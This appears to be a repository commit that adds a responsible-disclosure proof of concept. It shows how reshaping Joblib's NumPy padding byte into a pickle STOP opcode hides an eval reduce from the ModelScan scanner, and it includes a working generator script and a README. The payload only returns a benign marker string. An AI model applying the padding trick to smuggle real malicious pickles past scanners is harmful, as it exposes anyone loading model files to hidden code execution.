katsuiy commited on
Commit
9d04701
·
0 Parent(s):

Add ModelScan Joblib padding PoC

Browse files
LICENSE ADDED
@@ -0,0 +1,8 @@
 
 
 
 
 
 
 
 
 
1
+ This proof-of-concept repository is provided only for defensive security
2
+ verification and responsible disclosure.
3
+
4
+ The artifacts are intentionally benign and may be used by maintainers,
5
+ triagers, and security researchers to reproduce the scanner behavior described
6
+ in the accompanying report.
7
+
8
+ No warranty is provided.
README.md ADDED
@@ -0,0 +1,82 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ---
2
+ license: other
3
+ license_name: other
4
+ license_link: LICENSE
5
+ tags:
6
+ - security
7
+ - modelscan
8
+ - joblib
9
+ - pickle
10
+ - proof-of-concept
11
+ pipeline_tag: other
12
+ ---
13
+
14
+ # ModelScan Joblib NumPy Padding Bypass PoC
15
+
16
+ This repository contains benign proof-of-concept artifacts for a ModelScan
17
+ scanner bypass affecting Joblib files.
18
+
19
+ ## Summary
20
+
21
+ ModelScan 0.8.8 detects a benign `builtins.eval` reduce target as CRITICAL when
22
+ it is stored directly in an uncompressed `.joblib` file.
23
+
24
+ The candidate file places the same benign payload after Joblib-serialized NumPy
25
+ array data. The Joblib NumPy alignment padding byte is shaped as `0x2e`, which
26
+ is also pickle `STOP`, while extra padding preserves `joblib.load()`
27
+ alignment.
28
+
29
+ `joblib.load()` reaches the benign marker in the candidate, but ModelScan
30
+ reports `total_issues: 0` and no scanner errors.
31
+
32
+ ## Files
33
+
34
+ - `control_direct.joblib`
35
+ - direct benign `builtins.eval` marker
36
+ - expected ModelScan result: one CRITICAL issue
37
+ - `candidate_numpy_array_then_payload_patched.joblib`
38
+ - NumPy array followed by the same benign marker
39
+ - expected ModelScan result: `total_issues: 0`, `errors: []`
40
+ - `joblib_numpy_padding_probe.py`
41
+ - reproduces the artifacts and prints loader/scanner results
42
+
43
+ ## Reproduction
44
+
45
+ ```bash
46
+ python joblib_numpy_padding_probe.py
47
+ ```
48
+
49
+ By default, the helper writes generated samples under
50
+ `corpus/joblib_numpy_padding_probe/`. Pre-generated copies are also included in
51
+ this repository root.
52
+
53
+ Expected key results:
54
+
55
+ - control:
56
+ - `joblib_load.status: ok`
57
+ - `joblib_load.marker_found: true`
58
+ - ModelScan `total_issues: 1`
59
+ - ModelScan `errors: []`
60
+ - candidate:
61
+ - `joblib_load.status: ok`
62
+ - `joblib_load.marker_found: true`
63
+ - ModelScan `total_issues: 0`
64
+ - ModelScan `errors: []`
65
+
66
+ ## Environment Used For Verification
67
+
68
+ - Python: 3.12.8
69
+ - `modelscan`: 0.8.8
70
+ - `joblib`: 1.5.3
71
+ - `numpy`: 2.4.4
72
+
73
+ ## Safety Note
74
+
75
+ The PoC is intentionally benign. It returns only the static string
76
+ `BENIGN_JOBLIB_MARKER`.
77
+
78
+ It does not execute shell commands, read local files or credentials, perform
79
+ network access, persist files, or attempt stealth.
80
+
81
+ This PoC demonstrates a scanner bypass / unsafe-global detection failure in
82
+ ModelScan's Joblib handling. It does not claim a new Joblib RCE.
candidate_numpy_array_then_payload_patched.joblib ADDED
Binary file (338 Bytes). View file
 
control_direct.joblib ADDED
Binary file (61 Bytes). View file
 
joblib_numpy_padding_probe.py ADDED
@@ -0,0 +1,318 @@
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ #!/usr/bin/env python3
2
+ """Generate benign Joblib artifacts for numpy padding traversal checks."""
3
+
4
+ from __future__ import annotations
5
+
6
+ import argparse
7
+ import io
8
+ import json
9
+ import os
10
+ import pathlib
11
+ import pickletools
12
+ import re
13
+ import shutil
14
+ import subprocess
15
+ from dataclasses import dataclass
16
+ from typing import Any
17
+
18
+ import joblib
19
+ import numpy as np
20
+
21
+
22
+ MARKER = "BENIGN_JOBLIB_MARKER"
23
+ PICKLE_STOP = 0x2E
24
+ JOBLIB_PADDING_BYTE = b"\xff"
25
+ PICKLE_PROTOCOL = 4
26
+
27
+
28
+ class BenignEval:
29
+ """Benign unsafe-global marker: eval returns a constant string only."""
30
+
31
+ def __reduce__(self) -> tuple[Any, tuple[str]]:
32
+ return (eval, (repr(MARKER),))
33
+
34
+
35
+ @dataclass(frozen=True)
36
+ class PaddingPatch:
37
+ offset: int
38
+ original_length: int
39
+ patched_length: int
40
+ inserted_bytes: int
41
+ array_data_offset_before: int
42
+ array_data_offset_after: int
43
+
44
+
45
+ def dump_joblib_bytes(value: Any) -> bytes:
46
+ buffer = io.BytesIO()
47
+ joblib.dump(value, buffer, compress=0, protocol=PICKLE_PROTOCOL)
48
+ return buffer.getvalue()
49
+
50
+
51
+ def find_first_numpy_padding(data: bytes) -> int:
52
+ ops: list[tuple[int, str]] = []
53
+ try:
54
+ for opcode, _arg, pos in pickletools.genops(data):
55
+ ops.append((pos, opcode.name))
56
+ except ValueError as exc:
57
+ match = re.search(r"position (\d+)", str(exc))
58
+ if not match:
59
+ raise RuntimeError(f"could not locate pickle parse stop: {exc}") from exc
60
+ offset = int(match.group(1))
61
+ if not ops or ops[-1][1] != "BUILD":
62
+ raise RuntimeError(
63
+ "pickle parsing did not stop immediately after a numpy wrapper BUILD"
64
+ )
65
+ if b"numpy_array_alignment_bytes" not in data[:offset]:
66
+ raise RuntimeError("joblib numpy alignment metadata was not found")
67
+ return offset
68
+
69
+ raise RuntimeError("expected raw numpy array bytes to interrupt pickle parsing")
70
+
71
+
72
+ def patch_padding_to_stop(data: bytes) -> tuple[bytes, PaddingPatch]:
73
+ offset = find_first_numpy_padding(data)
74
+ original_length = data[offset]
75
+ if not 1 <= original_length <= 64:
76
+ raise RuntimeError(f"unexpected joblib padding length: {original_length}")
77
+ if original_length >= PICKLE_STOP:
78
+ raise RuntimeError(
79
+ f"padding length {original_length} does not need a STOP-byte expansion"
80
+ )
81
+
82
+ inserted = PICKLE_STOP - original_length
83
+ patched = (
84
+ data[:offset]
85
+ + bytes([PICKLE_STOP])
86
+ + (JOBLIB_PADDING_BYTE * inserted)
87
+ + data[offset + 1 :]
88
+ )
89
+ patch = PaddingPatch(
90
+ offset=offset,
91
+ original_length=original_length,
92
+ patched_length=PICKLE_STOP,
93
+ inserted_bytes=inserted,
94
+ array_data_offset_before=offset + 1 + original_length,
95
+ array_data_offset_after=offset + 1 + PICKLE_STOP,
96
+ )
97
+ return patched, patch
98
+
99
+
100
+ def write_bytes(path: pathlib.Path, data: bytes) -> None:
101
+ path.parent.mkdir(parents=True, exist_ok=True)
102
+ path.write_bytes(data)
103
+
104
+
105
+ def load_status(path: pathlib.Path) -> dict[str, Any]:
106
+ try:
107
+ value = joblib.load(path)
108
+ except Exception as exc:
109
+ return {
110
+ "status": "error",
111
+ "error": f"{type(exc).__name__}: {str(exc).splitlines()[0]}",
112
+ }
113
+
114
+ return {
115
+ "status": "ok",
116
+ "type": type(value).__name__,
117
+ "repr": repr(value),
118
+ "marker_found": contains_marker(value),
119
+ }
120
+
121
+
122
+ def contains_marker(value: Any) -> bool:
123
+ if isinstance(value, str):
124
+ return value == MARKER
125
+ if isinstance(value, np.ndarray):
126
+ return False
127
+ if isinstance(value, (bytes, bytearray, memoryview)):
128
+ return False
129
+ if value is None:
130
+ return False
131
+ if isinstance(value, (bool, int, float, complex)):
132
+ return False
133
+ if isinstance(value, dict):
134
+ return any(contains_marker(item) for item in value.values())
135
+ if isinstance(value, (list, tuple)):
136
+ return any(contains_marker(item) for item in value)
137
+ return False
138
+
139
+
140
+ def opcode_positions(data: bytes, opcode_name: str, start: int = 0) -> list[int]:
141
+ positions: list[int] = []
142
+ for opcode, _arg, pos in pickletools.genops(data[start:]):
143
+ if opcode.name == opcode_name:
144
+ positions.append(start + pos)
145
+ return positions
146
+
147
+
148
+ def opcode_offsets(data: bytes) -> dict[str, int | None]:
149
+ offsets: dict[str, int | None] = {
150
+ "builtins_string": find_bytes(data, b"builtins"),
151
+ "eval_string": find_bytes(data, b"eval"),
152
+ "marker_string": find_bytes(data, MARKER.encode()),
153
+ "final_stop_opcode": data.rfind(bytes([PICKLE_STOP])),
154
+ }
155
+ return offsets
156
+
157
+
158
+ def find_bytes(data: bytes, needle: bytes) -> int | None:
159
+ offset = data.find(needle)
160
+ return offset if offset >= 0 else None
161
+
162
+
163
+ def modelscan(path: pathlib.Path, command: pathlib.Path | None) -> dict[str, Any]:
164
+ if command is None:
165
+ return {"status": "skipped"}
166
+ if not command.exists():
167
+ return {"status": "missing", "command": str(command)}
168
+
169
+ completed = subprocess.run(
170
+ [
171
+ str(command),
172
+ "-p",
173
+ str(path),
174
+ "-r",
175
+ "json",
176
+ "--show-skipped",
177
+ ],
178
+ text=True,
179
+ capture_output=True,
180
+ env={**os.environ, "COLUMNS": "20000"},
181
+ check=False,
182
+ )
183
+ stdout = completed.stdout.strip()
184
+ json_start = stdout.find("{")
185
+ parsed: dict[str, Any]
186
+ if json_start >= 0:
187
+ try:
188
+ parsed = json.loads(stdout[json_start:])
189
+ except json.JSONDecodeError:
190
+ parsed = {"parse_error": stdout}
191
+ else:
192
+ parsed = {"parse_error": stdout}
193
+
194
+ summary = parsed.get("summary") if isinstance(parsed, dict) else None
195
+ return {
196
+ "status": "ok" if "parse_error" not in parsed else "parse_error",
197
+ "returncode": completed.returncode,
198
+ "modelscan_version": summary.get("modelscan_version") if summary else None,
199
+ "total_issues": summary.get("total_issues") if summary else None,
200
+ "errors": parsed.get("errors") if isinstance(parsed, dict) else None,
201
+ }
202
+
203
+
204
+ def summarize(
205
+ case: str,
206
+ path: pathlib.Path,
207
+ modelscan_command: pathlib.Path | None,
208
+ extra_offsets: dict[str, Any] | None = None,
209
+ ) -> dict[str, Any]:
210
+ data = path.read_bytes()
211
+ offsets: dict[str, Any] = opcode_offsets(data)
212
+ if extra_offsets:
213
+ offsets.update(extra_offsets)
214
+ return {
215
+ "case": case,
216
+ "path": str(path),
217
+ "size": len(data),
218
+ "joblib_load": load_status(path),
219
+ "offsets": offsets,
220
+ "modelscan": modelscan(path, modelscan_command),
221
+ }
222
+
223
+
224
+ def main() -> int:
225
+ parser = argparse.ArgumentParser()
226
+ parser.add_argument(
227
+ "output_dir",
228
+ nargs="?",
229
+ type=pathlib.Path,
230
+ default=pathlib.Path("corpus/joblib_numpy_padding_probe"),
231
+ )
232
+ parser.add_argument(
233
+ "--modelscan-command",
234
+ type=pathlib.Path,
235
+ default=None,
236
+ )
237
+ parser.add_argument("--skip-modelscan", action="store_true")
238
+ args = parser.parse_args()
239
+
240
+ modelscan_command = None if args.skip_modelscan else resolve_modelscan_command(
241
+ args.modelscan_command
242
+ )
243
+
244
+ control_path = args.output_dir / "control_direct.joblib"
245
+ candidate_path = args.output_dir / "candidate_numpy_array_then_payload_patched.joblib"
246
+
247
+ control_bytes = dump_joblib_bytes(BenignEval())
248
+ write_bytes(control_path, control_bytes)
249
+
250
+ array = np.array([PICKLE_STOP, 0, 1, 2, 3, 4, 5, 6], dtype=np.uint8)
251
+ candidate_bytes = dump_joblib_bytes([array, BenignEval()])
252
+ patched_candidate_bytes, patch = patch_padding_to_stop(candidate_bytes)
253
+ write_bytes(candidate_path, patched_candidate_bytes)
254
+
255
+ print(
256
+ json.dumps(
257
+ summarize(
258
+ "control_direct",
259
+ control_path,
260
+ modelscan_command,
261
+ {
262
+ "payload_reduce_opcode_offsets": opcode_positions(
263
+ control_bytes,
264
+ "REDUCE",
265
+ )
266
+ },
267
+ ),
268
+ sort_keys=True,
269
+ )
270
+ )
271
+ payload_frame_offset = patch.array_data_offset_after + array.nbytes
272
+ print(
273
+ json.dumps(
274
+ summarize(
275
+ "candidate_numpy_array_then_payload_patched",
276
+ candidate_path,
277
+ modelscan_command,
278
+ {
279
+ "padding_length_offset": patch.offset,
280
+ "padding_original_length": patch.original_length,
281
+ "padding_patched_length": patch.patched_length,
282
+ "padding_inserted_bytes": patch.inserted_bytes,
283
+ "array_data_offset_before_patch": patch.array_data_offset_before,
284
+ "array_data_offset_after_patch": patch.array_data_offset_after,
285
+ "array_first_byte_after_patch": patched_candidate_bytes[
286
+ patch.array_data_offset_after
287
+ ],
288
+ "payload_frame_offset_after_patch": payload_frame_offset,
289
+ "payload_reduce_opcode_offsets_after_patch": opcode_positions(
290
+ patched_candidate_bytes,
291
+ "REDUCE",
292
+ payload_frame_offset,
293
+ ),
294
+ },
295
+ ),
296
+ sort_keys=True,
297
+ )
298
+ )
299
+ return 0
300
+
301
+
302
+ def resolve_modelscan_command(command: pathlib.Path | None) -> pathlib.Path | None:
303
+ if command is not None:
304
+ return command
305
+
306
+ local_command = pathlib.Path(".venv-modelscan/bin/modelscan")
307
+ if local_command.exists():
308
+ return local_command
309
+
310
+ path_command = shutil.which("modelscan")
311
+ if path_command is not None:
312
+ return pathlib.Path(path_command)
313
+
314
+ return local_command
315
+
316
+
317
+ if __name__ == "__main__":
318
+ raise SystemExit(main())